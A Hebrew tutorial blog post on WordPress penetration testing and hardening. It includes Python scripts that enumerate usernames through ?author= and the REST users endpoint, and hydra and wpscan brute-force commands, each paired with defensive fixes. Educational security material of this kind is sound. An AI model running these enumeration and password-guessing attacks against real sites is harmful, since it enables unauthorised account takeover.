פריצה והגנה למערכת wordpress + שימוש בpython לחקירת האתר באופן אוטומטי, המדריך המלא

כשמאט מולנווג ומייק ליטל הקימו את wordpress ב2003, ספק אם הם שיערו כמה היא תהפוך לפופולארית. כשליש מאתרי האינטרנט בעולם פועלים כיום ע"ג wordpress, כך גם מעל ל30% מהאתרים הגדולים בעולם. עם-הפופולאריות בתפוצה, מגיעה גם הפופולאריות בניסונות הפריצה וע"פ הנתונים, כ90% מניסיונות הפריצה לאתרי אינטרנט הן כלפי אתרי wordpress. לא פלא אם כן שכל קורס שיעסוק בהאקינג כלפי יישומי אינטרנט, יקדיש את עיקר הפרק העוסק במערכות CMS, מערכות לניהול תוכן (Content Management System) בפריצה והגנה של מערכות wordpress.

בשורות הבאות אציג בפניכם את המדריך המקיף ביותר שתמצאו בכל שפה אפשרית לפריצה והגנה של מערכות wordpress. זה אומנם יהיה מדריך ארוך, עם המון מידע והמון מושגים טכניים חדשים שתצטרכו ללמוד, אך בסופו תהפכו לבעלי ידע מקיף בהגנה ופריצה של wordpress. אנו נעבור על החלק הגדול מארסנל הפגיעויות שניתן למצוא במערכות wordpress, נציג את הדרך לתקן כל אחת מאותן פגיעויות ולהתגונן מפניהן ובנוסף, אציג בפניכם את הדרך למצוא את ליקוי האבטחה באופן אוטומטי בעזרת סקריפט פייתון, כחלק מכלי סריקת פייתון שכתבתי עבור המדריך ויוצג לכם בסוף המדריך. הכלי יחפש את כל הפגיעויות שנלמד במדריך זה באופן אוטומטי ובכך יאפשר לכם לבדוק את רמת ההקשחה של מערכת הwordpress שלכם תוך דקות ספורות, לאחר הזנת כתובת האתר בלבד.

עבור כתיבת המדריך, יצרתי אתר wordpress פשוט בעברית ע"ג xampp. מדובר בפעולה פשוטה שהייתי ממליץ לכולכם לעשות, ע"מ לתרגל את החומר הרב שנלמד בשורות הבאות (בקצרה: הורידו את שרת הapache שלכם ע"י הורדת xampp, הורידו את wordpress, חלצו את תיקיית הwordpress לתוך תיקיית htdocs שבxampp. לאחר מכן, היכנסו למסד הנתונים שלכם שירד יחד עם הxamp (בעזרת הוספת הנתיב phpmyadmin לכתובת ip שלכם) וצרו מסד נתונים חדש עם השם wordpress. היכנסו כעת לנתיב של הwordpress במחשב שלכם (כתובת הip שלכם + שם התיקייה עם קבצי הwordpress), כתבו את שם מסד הנתונים שהגדרתם, בשם המשתמש הכניסו את שם המשתמש root ואת שדה הסיסמא השאירו ריקה. לחצו על אישור ואתר הwordpress הראשון שלכם יווצר).

רגע לפני תחילת המדריך, חשוב לי לציין שאנו לא נתמקד במדריך זה בheaders חשובים שלא הוגדרו / תעודת SSL שלא הוגדרה / הטמעת shell זדוני ופגיעויות אחרות שנוגעות לאתרי אינטרנט בכלל ולאו דווקא לwordpress (בכל הנוגע לheaders, תוכלו לקרוא בהרחבה על הheaders שחשוב להכיר במדריך שכתבתי על מניעת information disclosure. עם-זאת, בכלי סריקת הפייתון שכתבתי עבור המדריך קיימים סקריפטים גם לאיתור https, hsts וresponse headers חשובים.

כמו-כן, כמו בכל מדריך, חשוב לי לציין שהמדריך נועד אך ורק עבור האקרים אתיים ועבור בעלי מערכות wordpress שמעוניינים ללמוד כיצד להקשיח את המערכת שלהם. כל שימוש בלתי חוקי שייעשה בעזרת מדריך זה הינו על אחריותו הבלעדית של המבצע שצפוי לספוג עונשים כבדים, כמצויין בחוק.

אבקש להבהיר גם כי כל פעולה שתתבצע בעקבות מדריך זה (כולל פעולות הקשחה וכו') היא על אחריותו הבלעדית של המבצע.

ע"מ שתוכלו להשתמש בסקריפטי הפייתון שאציג לפניכם בשביל לבצע סריקה של חלק מהליקויים באופן אוטומטי, נא התקינו את המודול requests בו נשתמש עבור חקירת האתר. את המודול תוכלו להתקין כמובן ישירות מעורך הקוד בו אתם משתמשים (בהתאם לעורך הקוד) או דרך הCMD/Terminal בעזרת הפקודה:

pip install requests

1. זיהוי מערכת הwordpress

השלב הראשון שעלינו לבצע בעת ביצוע מבדק חדירה ליישום אינטרנט, הוא זיהוי המערכת כלפה אנו מבצעים את בדיקת החדירה. למערכות wordpress יש מספר סימנים מזהים שיאפשרו לנו לזהות אותה.

  1. הוספת wp-admin/ לURL של האתר

השיטה הנפוצה ביותר לזיהוי מערכות wordpress, היא הוספת wp-admin/ לURL של האתר. wp-admin מפנה לwp-logim.php, ממשק הניהול של wordpress. אם נצליח, בעזרת הוספת wp-admin לכתובת האתר, להגיע לממשק ניהול, נבין כי המערכת שמולנו היא מערכת wordpress. ככלל, אם אנו אכן שומרים על כללי האבטחה, אין מניעה שממשק הניהול של מערכת הwordpress שלנו תזוהה ותחשוף את המערכת שלנו ככזו שבנויה ע"ג wordpress. הבעיה מתחילה כשהמערכת שלנו לא מוגנת ומאובטחת כמו שצריך ואז, כשממשק הניהול שלנו חשוף, הוא א'. יעזור לתוקף לזהות שמדובר במערכת wordpress. ב'. יחשוף לתוקף את הממשק דרכו הוא יוכל לבצע brute-porce על שם המשתמש והסיסמא שלנו.

דרכי מניעה:

א'. שינוי נתיב ממשק הניהול

ישנם שורה של דרכים לשנות את נתיב ממשק הניהול, אני אציג שני דרכים: 1. בצורה עצמאית לאחר התחברות לקבצי האתר ע"י שרת FTP / שינוי הקבצים במנהל הקבצים בcPanel או כמובן במחשב האישי שלכם, אם הורדתם wordpress לצורך תרגול כפי שהסברתי לכם. 2. בעזרת תוסף שנוצר עבור כך.

חשוב לי לציין שאם אינכם מתכנתים שמכירים היטב את מערכת הwordpress מבפנים, ההמלצה שתקפה בנוגע לכל המלצות ההקשחה שיוצגו במדריך היא להשתמש בתוסף ולא לבצע את שינוי הקוד באופן ידני, בעיקר בגלל מצבים בהם הפעולה תשתבש ותכניס אתכם לבעיה, אך גם בגלל בעיות של תאימות מול תוספים כאלה ואחרים שתוכל להיות בעקבות כך. אני כן אציג תמיד גם את הדרך לבצע את הפעולות בצורה ידנית ע"מ לסייע לכם להבין טוב יותר את מערכת הwordpress ולדעת תמיד להסתדר בעצמכם כשתצטרכו. כפי שכבר כתבתי בעבר, תוספים וכלים אוטומטיים הם נהדרים רק אחרי שאנחנו יודעים לבצע את הפעולות בעצמנו, אחרת – אנו מכניסים את עצמנו לבעיה: אם התוסף או הכלי יפסיקו לעבוד מתישהו, נגמרה לנו הקריירה.

עבור שינוי בצורה ידנית, ניצור קובץ php חדש בתיקייה הראשית של מערכת הwordpress שלנו (public_html כשמדובר בשרת חיצוני), לקובץ נקרא בשם החדש שאנו רוצים לתת לממשק הניהול, לדוגמא blog-lgoin.php.

כעת ניכנס לקובץ wp-login.php שנמצא באותו נתיב, נעתיק את תוכנו ונדביק אותו בקובץ החדש שיצרנו, blog-login.php. כעת נחפש בטקסט שהדבקנו את כל המחרוזות שמכילות את המילה wp-login.php ונחליף אותן במילה blog-login.php (כמובן שלא נעבור שורה שורה ונעשה זאת בעזרת פונקציית הreplace הקיימת בכל עורך קוד, לרוב בעזרת ctrl + r. יהיו לנו כ11 מקומות (+3 מקומות נוספים שאין חובה לשנות שכן מדובר בהערות בלבד) בהם נצטרך להחליף. לאחר שסיימנו זאת, נמחק את הקובץ wp-login.php ונשאיר את הקובץ blog-login.php:

כעת, אם ננסה להיכנס לממשק הסטנדרטי wp-admin, ניתקל בשגיאה:

לעומת-זאת, אם נוסיף את הנתיב blog-login.php נגיע אכן לממשק הניהול:

ב'. שינוי נתיב ממשק הניהול בעזרת תוסף

עבור שינוי בעזרת תוסף, ישנם שורה ארוכה של תוספים שמבצעים את הפעולה הזו. ההמלצה שלי היא להשתמש בתוסף WPS Hide Login שנחשב לתוסף מאד אמין ואיכותי (מעל ל800,000 הורדות).

נוריד את התוסף:

לאחר שגם נפעיל את התוסף (לחיצה על active), ניכנס ללשונית wp hide login שתיווצר לנו בsettings ונגדיר את הנתיב החדש שאנו רוצים ליצור לwp-admin ואת הנתיב אליו יופנה מי שבכל זאת ייכנס לwp-admin:

ג'. שיטה ידנית נוספת: נתינת הרשאת גישה לממשק הניהול לכתובת ip ספציפיות

בדרך זו אנו לא נשנה את נתיב הwp-admin.php לממשק הניהול שלנו, אלא נגביל את הכניסה אליו רק לכתובת הip שלנו ושל חברי הצוות באתר. שיטה זו רלוונטית אך ורק אם אנו וחברי הצוות שלנו נכנסים אך ורק מאותה רשת לממשק הניהול באתר. אחרת, היא עלולה לגרום לבעיות כמובן.

כיצד נבצע זאת?

ניכנס לקובץ htaccess. שבתיקיית הראשית, מדובר בקובץ חשוב בו אנו מבצעים הפניות למשתמשים, איחוד כתובות ומגדירים הגבלות גישה לתיקיות וקבצים מסוימים. למעשה, קובץ זה קיים אומנם בכל מערכות wordpress כקובץ מערכת, אך הוא קיים גם כקובץ שרת בכל שרתי הapache ונחשב לקובץ חשוב מאד.

כאמור, ניכנס לhtaccess ונגדיר את החוק הרלוונטי:

<Files wp-login.php>
Order Deny,Allow
Deny from all
Allow from <YOUR IP>
</Files>

במקום ה<YOUR IP> הכניסו את כתובת הip לה אתם רוצים לתת גישה. אם נרצה להתיר לכתובות ip נוספות גישה לממשק, פשוט נציין שוב את שורת הallow from עם כתובות הip הרלוונטיות.

מכיון שאני כרגע משתמש בכתובת מקומית, עבור הדוגמא, אציין הרשאה אך ורק לכתובת 192.168.150.2 ואנסה להיכנס לממשק הניהול בעזרת wp-admin. שימו לב שהגישה לא אפשרית:

כעת נכתוב סקריפט פייתון שיבצע את הבדיקה באופן אוטומטי, האם wp-admin פתוח באתר שלנו:

def discovery_admin_panel():
    url = input("Enter the URL: ")
    admin_panel = "/wp-admin"
    website = requests.get("{0}{1}".format(url,admin_panel))
    if website.status_code == 200:
        print("Your admin panel is visible")
    else:
        print("Your admin panel is hidden. Well done!")

הסבר לסקריפט הפייתון: אנו משתמשים במודול requests בעזרתו ניתן לבצע פנייה לאתרי אינטרנט ובודקים מה הסטטוס שהתקבל לאחר הפנייה. אם הסטטוס הוא 200, הרי שהממשק היה זמין. אם לא, ככל הנראה הממשק אינו זמין.

2. סריקת הsource-code של עמוד הבית

דרך נוספת לזהות האם המערכת שעומדת מאחורי האתר לו אנו מבצעים מבדק חדירה היא מערכת wordpress, היא להסתכל על הshource-code של האתר, לרוב, במערכות מסוג wordpress יופיעו הפניות רבות לדפי wp, שמזוהים כדפי wordpress. שורה נוספת שקיימת כברירת מחדל בsource-code בעמוד הבית בכל מערכות wordpress תציג לנו גם את גרסת המערכת. מדובר במידע חשוב שיוכל לעזור לנו לוודא האם המערכת מעודכנת או לא ובמידה והיא לא, נוכל לחפש בgoogle אלו פגיעויות קיימות בה.

השורה שתציג לנו את מערכת הwordpress היא שורת הgenerator. נחפש בעזרת ctrl +f את המילה generator בsource-code של האתר שלנו. אם מערכת האתר שאנו חוקרים היא מערכת wordpress נוכל לראות גם את העובדה הזו וגם את הגרסה של המערכת. לדוגמא:

גם אם מתכנת האתר מודע היטב למידע שחושפת שורה זו והוא הסתיר אותה כפי שנלמד לבצע מיד, תמיד כדאי לכתוב את המילה wp בחיפוש ולראות האם חוזר לנו הפניות לדפי -wp. לרוב, אם מדובר באתר wordpress, גם אם מדובר באתר שעבר הקשחה מיטבית, נמצא מספר שורות -wp. הן אומנם לא יניבו לנו מידע על גרסת האתר, אך על העובדה שמדובר במערכת wordpress כן:

כיצד נוכל להסיר את שורת הgenerator מהsoucrse-code של המערכת שלנו?

עבור כך, נצטרך להגדיר פונקציה חדשה בקובץ function.php שבתיקיית ערכת הנושא שלנו. ניכנס שוב למנהל הקבצים במערכת הwordpress שלנו והפעם ניכנס לתיקייה wp-content. בתיקייה זו נחפש את התיקייה themes המכילה את כל התבניות שלה וניכנס אליה וניכנס אליה, שם נחפש את התיקייה של ערכת הנושא בה אנו משתמשים עבור המערכת שלנו (נוכל לראות את שמה בלשונית עיצוב שבממשק הניהול במערכת). בתיקייה זו מופיע הקובץ function.php אותו נערוך.

ניכנס לקובץ ונוסיף אליו את קטע הקוד הבא:

;('remove_action('wp_head', 'wp_generator

כעת, אם נסתכל בsource-code של האתר, נראה שתג הgenerator לא קיים.

כתיבת סקריפט פייתון שיבצע את הבדיקה בsource-code של האתר שלנו:

def discovery_version():
    url = input("Enter the URL: ")
    source_code = requests.get(url).text
    generator = source_code.find("generator")

    if generator != -1:
        generator_to_end = source_code[generator:]
        find_wordpress = generator_to_end.find("WordPress")
        find_wordpress_tow = generator_to_end.find("/>")
        print("This is a wordpress system, version " + generator_to_end[find_wordpress:find_wordpress_tow - 2])
    else:
        find_wp = source_code.find("wp-")
        if find_wp == -1:
            print("We are unable to identify the system as a wordpress system")
        else:
            print("We were unable to identify the system version. But this is wordpress")

הסבר לסקריפט: אנו שוב משתמשים במודול הrequests, הפעם בשביל לקבל את הsource-code של האתר. אנו מצמצמים את הsource-code למילה genator והלאה. שם אנו מבצעים חיפוש בעזרת הפונקציה המובנת find למילה wordpress, חותכים את גרסת הwordpress ומציגים אותה. אם לא מצאנו את המילה generator, אנו מחפשים תחביר של "-wp", ע"מ לבדוק, לכל הפחות, שמדובר במערכת wordpress.

3. בדיקה בקובץ robots.txt

robots.txt הוא הקובץ בו מגדיר מנהל אתר האינטרנט כיצד ייסרק האתר ע"י מנועי חיפוש ובוטים אחרים, הפועלים בהתאם להגדרות המופיעות בקובץ. במרבית הפעמים, בעזרת קובץ זה נוכל לזהות לרוב את סוג מערכת האתר לה אנו מבצעים את מבדק החדירה. הסיבה לכך היא שבקובץ זה יגדיר מנהל האתר למנועי החיפוש אלו קבצים לא לאנדקס. ממילא, מכיון שמנהל האתר לא רוצה שדף הניהול יאונדקס ע"י מנועי החיפוש, הוא יציין אותו תחת disallwo. כמו-כן, במערכות wordpress, תיצור המערכת באופן אוטומטי מפה של האתר, עבור מנועי החיפוש. במפה זו תופיע במפורש העובדה שמדובר במערכת מסוג wordpress.

למרות שכאמור, מוסכמת הrobots.txt חושפת בפני התוקף כי המערכת שלנו היא מערכת wordpress, ההמלצה היא לא לגעת בה. בעצם העובדה שיודעים שהמערכת שלנו היא מערכת wordpress אין בעיה אם אנו מבצעים את שאר כללי ההקשחה שאני מציג במדריך זה. הבעיה מתחילה כששאר כללי ההקשחה לא קיימים, ואז, ברגע שהתוקף יודע שהמערכת שלנו היא מערכת wordpress, הוא יוכל לפעול בהתאם.

כתיבת סקריפט פייתון שינסה לזהות האם מדובר במערכת wordpress בעזרת הקובץ robots.txt:

def discovery_wordpress():
    robots = "/robots.txt"
    url = input("Enter the URL: ")
    http_request = requests.get("{0}{1}".format(url,robots))
    if http_request.status_code == 200:
        find_wp = http_request.text.find("wp-")
        if find_wp != -1:
            print("this is wordpress!")
        else:
            print("We could not identify it as wordpress")

הסבר לסקריפט: אנו פונים לנתיב של הקובוץ robots.txt בURL שהזנו ומחפשים בו תחביר של "-wp", תחביר שנמצא בוודאות אם מדובר במערכת wordpress. אם אנו מוצאים תחביר כזה, אנו מדפיסים זאת. אם לא (כלומר, ערך החיפוש שווה ל1-), אנו מדפיסים הודעה על כך שלא הצלחנו לזהות את המערכת כwordpress.

כמובן שישנם דרכים נוספות לזהות האם המערכת אותה אנו רוצים לחקור היא מערכת wordpress, כגון סורקים אוטומטיים שתפקידם לזהות את הטכנולוגיה שמאחורי המערכת. עם-זאת חשוב לציין שכמעט בלתי הגיוני יהיה שהאתר שאתם חוקרים ישתמש בwordpress ולמרות זאת שלושת הטכניקות שהצגתי קודם לכן לא יגלו זאת.

2. זיהוי שמות המשתמש והסיסמא של מנהלי המערכת

לאחר שגילינו שהאתר שאנו חוקרים מבוסס על wordpress, אנו נרצה לדעת מהו השם משתמש והסיסמא של מנהל האתר, אותו נוכל להזין בממשק הניהול (במקרה שלנו, מכיון שהסתרנו את ממשק הניהול העבודה של התוקף תהיה הרבה יותר קשה וזה יתרון נוסף של הסתרת הממשק). בשורות הבאות אציג מספר טכניקות לגלות מהו שם המשתמש של מנהל האתר וחברי הצוות שלו.

  1. הוספת התחביר 1=author? לURL של האתר

הטכניקה הראשונה, בעלת סיכויי ההצלחה הגדולים ביותר היא כתיבת התחביר author=1? בURL של האתר, לאחר כתובת האתר. פעולה זו למעשה תציג לנו את כל המאמרים שנכתבו ע"י משתמש מספר 1 של האתר ושמו של אותו משתמש, כאשר במרבית המקרים משתמש מספר 1 יהיה גם מנהל המערכת. מדובר בשיטה מאד פשוטה שלצערי פחות מוכרת גם בקרב מתכנתי wordpress. בעזרת שיטה זו נוכל להשיג שמות של שמות משתמש נוספים במערכת, בעזרת שינוי סיפרת הauthor שאנחנו מחפשים, כגון author=2? וכן הלאה.

לצורך הדוגמא, כך חשפתי ששם המשתמש מספר 1 באתר שבניתי לצורך המדריך הוא root:

כיצד נוכל למנוע את הצגת שמות המשתמש במערכת שלנו בעזרת תחביר זה?

עבור כך, נוכל לממש 2 הגנות באופן ידני: או לכתוב פונקציה מתאימה בקובץ functions.php של ערכת הנושא שלנו או יצירת הוראה נוספת בקובץ htaccess אותו כבר הכרנו. אנו נלמד את האופציה הראשונה, שכן היא נחשבת ליעילה יותר:

ניכנס שוב לקובץ functions.php שבתיקיית התבנית שלנו והפעם נכתוב את הפונקציה הבאה:

function redirect_author_parameter() {
if ( is_author() ) {
wp_redirect( home_url(), 301 );
exit;
}
}
add_action(‘template_redirect’, ‘redirect_author_parameter’ );

כעת, אם נזין בURL את author=1/?, נופנה בחזרה לעמוד הבית שלנו.

כתיבת סקריפט פייתון שיחפש שמות משתמש ע"פ התחביר author=1:

def discover_usernames():
    author = "/?author="
    number_of_users = input("Enter the number of usernames you want to scan: ")
    url = input("Enter the URL: ")

    list_of_users = []
    for number in range(int(number_of_users)):
        if number == 0:
            continue
        url_author = requests.get("{0}{1}{2}".format(url, author, number))
        result = url_author.url
        if url != result:
            if url_author.status_code == 404:
                continue
            find_username = result.rfind("author/")
            list_of_users.append(result[find_username + len("author/"):-1])
        else:
            print("We're sorry, but we were unable to find any usernames")
            break
        print("".join(list_of_users))

הסבר לסקריפט: יצרנו 2 משתני קלט, לתוכם נכניס את מספר המשתמשים אותו נרצה לבדוק (כלומר, עד איזה מספר נבדוק את התחביר =author. לאחר מכן, אנו מבצעים פניית request עם כל אחד מהמספרים ובודקים האם הURL שחזר זהה לURL של האתר, כלומר – ממומשת הגנה. או שלא וממילא, אנו נחתוך את שם הusername מתוך הURL ונציג אותו. לפעמים נוכל למצוא מקרים שיש משתמש 2 ומשתמש 4, אבל אין משתמש 3. בשביל שהדבר לא יפגע בסריקה, ציינו שאם חוזר סטטוס 404 (סטטוס שגיאה), פשוט נדלג עליו.

2. שימוש במידע שחושף wp-json

אחד הקבצים החשובים במערכת שיכול להציג לנו מידע רב על שמות המשתמשים במערכת הוא הקובץ wp-json. קובץ זה מממש את הREST API של wordpress. באמצעות ממשק זה, מפתחים יכולים לתקשר מרחוק עם אתר wordpress מיישום צד לקוח או יישום חיצוני, באמצעות פניות JSON. ממשק API זה מאפשר לך ליצור ולשלוח תוכן לאתר, לבקש מידע מאתר, לעדכן תוכן קיים, ועוד ועוד.

סכנת האבטחה הבולטת ביותר שהביא ממשק הAPI החדש שהושק החל מwordpress 4.7 זו החשיפה של כל שמות המשתמש שכתבו פוסטים באתר. כאשר מה שעלינו לעשות, הוא סה"כ להוסיף את התחביר הבא לURL:

wp-json/wp/v2/users (לדוגמא: www.example.com/wp-json/wp/v2/users)

כעת, אם האתר לא הוקשח כראוי נראה תחת המפתח name את כל שמות המשתמש של עורכי האתר (כאשר לצד כל name, מופיע גם הid של המשתמש):

למען האמת, זו השיטה היעילה והטובה ביותר לחיפוש שמות משתמש, גם לפני האופציה הראשונה שהצגתי בפניכם. הסיבה שהצגתי את האופציה הראשונה קודם היא שמתכנתים רבים לא מכירים אותה וממילא הסיכויים שלכם להוציא ממנה מידע (ועל אותו משקל: החשיבות שכמנהלי אתר, תמנעו אותה) גדולים.

כיצד נתגונן?

רגע לפני שנציג סקריפט פייתון שיבדוק את התוכן בwp-json/wp/v2/users, אציג בפניכם את הדרך להשבית את נקודת הקצה של הwp-json באתר וממילא למנוע את הצגת שמות המשתמש. עבור כך ניכנס שוב לקובץ functions.php שבתיקיית ערכת הנושא שלנו, והפעם נוסיף אליו את הקוד הבא:

add_filter( 'rest_endpoints', function( $endpoints ){
    if ( isset( $endpoints['/wp/v2/users'] ) ) {
        unset( $endpoints['/wp/v2/users'] );
    }
    if ( isset( $endpoints['/wp/v2/users/(?P<id>[\d]+)'] ) ) {
        unset( $endpoints['/wp/v2/users/(?P<id>[\d]+)'] );
    }
    return $endpoints;
});

יש לציין כי שיטת התגוננות זו תחסום את הwp-json לחלוטין וצפויה ליצור בעיות עם מספר תוספים ובפרט עם עורך הקוד גוטנברג. אם אתם משתמשים בגוטנברג, ההמלצה היא להשתמש בתוסף WP REST API שמשבית את הwp-json רק למשתמשים לא מחוברים, כלומר – לכל מי שאינו מנהל האתר.

אם נרצה, נוכל להגדיר את האפשרות השנייה גם באופן ידני בעזרת הוספת קטע הקוד הבא לfunctions.php:

add_filter( 'rest_authentication_errors', function( $result ) {
    // If a previous authentication check was applied,
    // pass that result along without modification.
    if ( true === $result || is_wp_error( $result ) ) {
        return $result;
    }
 
    // No authentication has been performed yet.
    // Return an error if user is not logged in.
    if ( ! is_user_logged_in() ) {
        return new WP_Error(
            'rest_not_logged_in',
            __( 'You are not currently logged in.' ),
            array( 'status' => 401 )
        );
    }
 
    // Our custom authentication check should have no effect
    // on logged-in requests
    return $result;
});

כתיבת סקריפט פייתון שיבדוק האם הwp-json מושבת, ואם לא, יוציא לנו את שמות המשתמש ממנו:

def discovery_users_to():
    url = (input("Enter the URL: "))
    list_of_users = []
    syntax_wp_json = "/wp-json/wp/v2/users"
    request_wp_json = requests.get("{0}{1}".format(url, syntax_wp_json)).text
    find_users = request_wp_json.find("name")
    if find_users != -1:
        lines = request_wp_json.split("url")
        for line in lines:
            find_name = line.find("name")
            if find_name != -1:
                cut_from = find_name+len("name")+3
                cut_to = line.rfind(",")-1
                username = line[cut_from:cut_to]
                list_of_users.append(username)
        print("Usernames found: {0}".format("".join(list_of_users)))
    else:
        print("We're sorry, but we were unable to find any usernames")

הסבר לסקריפט: אנו מכניסים את התוכן של wp-json/wp-/v2/users לתוך משתנה ועוברים עליו. אם אין בו את המונח 'name', ככל הנראה מומשה הגנה כלפי גישה לדף זה וממילא אנו מסיימים את התהליך. אם כן נמצאה המונח 'name', ככל הנראה נוכל למצוא גם users. אנו מפצלים את הטקסט לשורות ע"פ המונח 'url' שתופיע תמיד לאחר המונח 'name' ובכך מאפשרים לעצמנו חיפוש של כל שמות המשתמש בעזרת לולאה שתעבור שורה שורה, ואם היא תזהה את המונח 'name' בשורה, היא תחתוך את שם המשתמש ותציג לנו אותו.

3. ביצוע brute-force על שם המשתמש

לwordpress 'באג' מובנה בעזרתו נוכל למצוא את שם המשתמש של מנהל המערכת. בשונה ממערכות סטנדרטיות, בהם אם נזין שם משתמש וסיסמא ואחד מהפרטים הללו לא יהיה נכונים, נקבל פלט זהה של השם משתמש / סיסמא לא זוהו ע"י המערכת, בwordpress אם נזין שם משתמש והוא לא יהיה נכון יוצג לנו פלט של "שם המשתמש שהזנתם אינו קיים במערכת". לעומת זאת, אם נזין שם משתמש נכון ורק סיסמא לא נכונה, wordpress יציג לנו פלט שונה שמסביר שרק סיסמת הכניסה שהזנו אינה נכונה. שימו לב להבדל:

צורת הפעולה הזו של wordpress גורמת לכך שתוקפים יכולים לזהות בעזרת brute-force מהו שם המשתמש של מנהל המערכת ולאחר שגילו זאת לבצע brute-force על סיסמת מנהל המערכת. כלומר, תוקפים לא צריכים לבצע brute-force על 2 הפרטים בו זמנית (מה שיגדיל את כמות הניסיונות הנדרשת למספר שהיא אפשר גם לכתוב) ויכולים לבצע brute-force נפרד על כל פרט ופרט, זאת בעקבות כך שחבילת המידע שחוזרת מהשרת לאחר הזנת שם משתמש נכון וסיסמא לא נכונה שונה מחבילת המידע שמגיעה לאחר שם משתמש לא נכון וסיסמא לא נכונה.

עבור ההדגמה, אשתמש בburp-suit. נבחר 10 שמות משתמש אקראיים, לתוכם נכניס גם את שם המשתמש root (שם המשתמש הנכון). כעת נבצע brute-force בעזרת הintruder. שימו-לב שכשמתבצעת הסריקה כלפי שם המשתמש הנכון (root), הגודל של חבילת המידע משתנה. כך נוכל לזהות מה שם המשתמש שלנו. אם תשימו לב היטב, גם שם המשתמש השני שיצרנו (blog) עם גודל שונה של חבילת מידע.

לאחר שמצאנו את שם המשתמש, נבצע פעולה זהה על הסיסמא ונזין 10 סיסמאות אקראיות, בתוכם נכניס גם את הסיסמא 12345 (הסיסמא הנכונה). גם כאן כמובן שימו לב שהגודל של חבילת המידע משתנה כשאנו מגיעים לסיסמא הנכונה:

נוכל לבצע brute-force גם בעזרת הכלי hydra המגיע ככלי מובנה בkali linux. ע"מ שנוכל לעשות, נצטרך להבין קודם-כל כיצד נראית הבקשה שאנו שולחים לשרת עם פרטי המשתמש. שימו לב לשורה האחרונה, את השורה הזו אנו צריכים להעתיק ע"מ שנוכל לשלוח חבילה דומה בעזרת hydra ולבצע brute-force:

כעת נפתח את הkali שלנו ונשתמש בפקודה (haydra מגיע מותקן כברירת מחדל בkali):

hydra -V -L usernames.txt -p whatever <website ip> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'

הסבר לפקודה: אנו קוראים לhydra ומשתמשים בדגלים הבאים: V- = הצגת פעילות הכלי (verbose). הL- = קובץ שמות המשתמש עליהם נבצע את הbrute-force. הp- = סיסמא, אנו מציינים whatever – כלומר, לא משנה לנו מכיון שאנחנו רוצים לחפש את רק שם המשתמש. לאחר מכן אנו מציינים שאנו רוצים לבצע בקשת post ואז מעתיקים את הבקשה שנשלחת בכל ניסיון התחברות כפי שראינו בburp ובסוף התחביר מוסיפים תחת F שהניסיון נכשל אם חוזר לנו פלט של Invalid username.

אפשרות נוספת, היא לבצע brute-force למערכת בעזרת הכלי הנהדר wpscan:

כשלב-ראשון, נבצע אינמורציה על שם המשתמש בעזרת הפקודה:

wpscan --url https://example.com --enumerate u

לאחר שקיבלנו את שם המשתמש, נבצע brute-force על שם המשתמש יחד עם קובץ סיסמאות שניצור (לדוגמא, ניקח את rockyou המצויין מgithub):

wpscan --url https://example.com -u admin -P rockyou.txt 

אגב, אם נרצה לבצע brute-force גם על שם המשתמש וגם על הסיסמא, אנו יכולים פשוט להפוך גם הu לאות גדולה. כמו-כן, כברירת מחדל, wpsan שולח כ-5 בקשות בו זמנית, אך נוכל להגדיל מספר זה.

דרך נוספת לבצע brute-force על שם המשתמש והסיסמא היא בעזרת המודול wordpress_login_enum בmetasploit, אך 3 הדרכים שהצגתי לכם אמורים להספיק. בסופו של דבר מודול הmetasploit מבצע את אותה פעולה שהסברתי לכם כיצד לבצע בעצמכם.

מה ניתן לעשות כדי להתגונן?

  1. הסתרת פלט השגיאה בממשק הניהול

פעולה זו אומנם לא תמנע את שליחת חבילת המידע בגודל שונה כאשר שם המשתמש הוא נכון, אך תסתיר את הפלט שכברירת מחדל מוצג למשתמש לאחר הזנת פרטים לא נכונים. זה לא ימנע מהתוקף את האפשרות לבצע brute-force על שם המשתמש שלנו, אך זה יחייב אותו לעשות זאת ולא להסתפק בbrute-force ידני עם הזנת פרטי ברירת מחדל, כגון admin, שזו שם המשתמש הנפוץ ביותר במערכות wordpress (בכלל, בעת ביצוע מבדק חדירה, תמיד ננסה קודם-כל שמות משתמש נפוצים כגון admin, root, wordpress לפני ביצוע brute-force כוחני כלפי ממשק הניהול של האתר).

עבור כך, ניכנס לקובץ functiuons.php ונזין את ההוראה הבאה:

function error(){
    return 'Try again!';
}
add_filter( 'login_errors', '_error')

כעת, בכל מצב, כל עוד הפרטים שהזנו לא נכונים, הפלט שיופיע לנו יהיה זהה:

חסר מאפיין alt לתמונה הזו; שם הקובץ הוא image-13.png

2. ביצוע אימות דו-שלבי בממשק הכניסה לאתר

השיטה הטובה ביותר והמומלצת ביותר להגנה מפני מתקפת brute-force, היא שימוש באימות דו שלבי בעת הכניסה לממשק הניהול שלנו, באתר הwordpress. נכון לתאריך זה, טרם ניתן להגדיר בwordpress עצמו אימות דו שלבי ואנו נצטרך להשתמש עבור כך באפליקציה חיצונית, כגון אפליקציית האימות של google שתציג לכם קוד בן 6 ספרות שיתחלף בכל כמה-שניות, כך שלא יהיה שום סיכוי לפרוץ למערכת שלכם בעזרת brute-force.

אם-כן, נוריד את התוסף Wordfence Security – Firewall & Malware Scan שנחשב לתוסף firewall מצוין (נתייחס לנושא הfirewall בסוף המדריך) שמאפשר גם הגדרת אימות דו שלבי:

בשלב הראשון, נצטרך להזין דוא"ל אליו יישלחו התראות (כגון כניסות חדשות לממשק הניהול של האתר, דוחו"ת סיכום שבועיים וכו' וכו'):

לאחר מכן, נישאל האם יש בידינו מפתח גישה לגרסת הPRO של התוסף (הגרסה המומלצת לשימוש אם יש לכם אתר שמכיל מידע חשוב), אם אתם לא מעוניינים לרכוש את גרסת הפרו, פשוט לחצו על דלג. אנו כרגע נוותר על סקירת חלק מן היכולות של wordfence עליהם נדבר בסוף המדריך ונתמקד בלשונית האימות הדו שלבי. ניכנס ללשונית ונראה את החלון הבא:

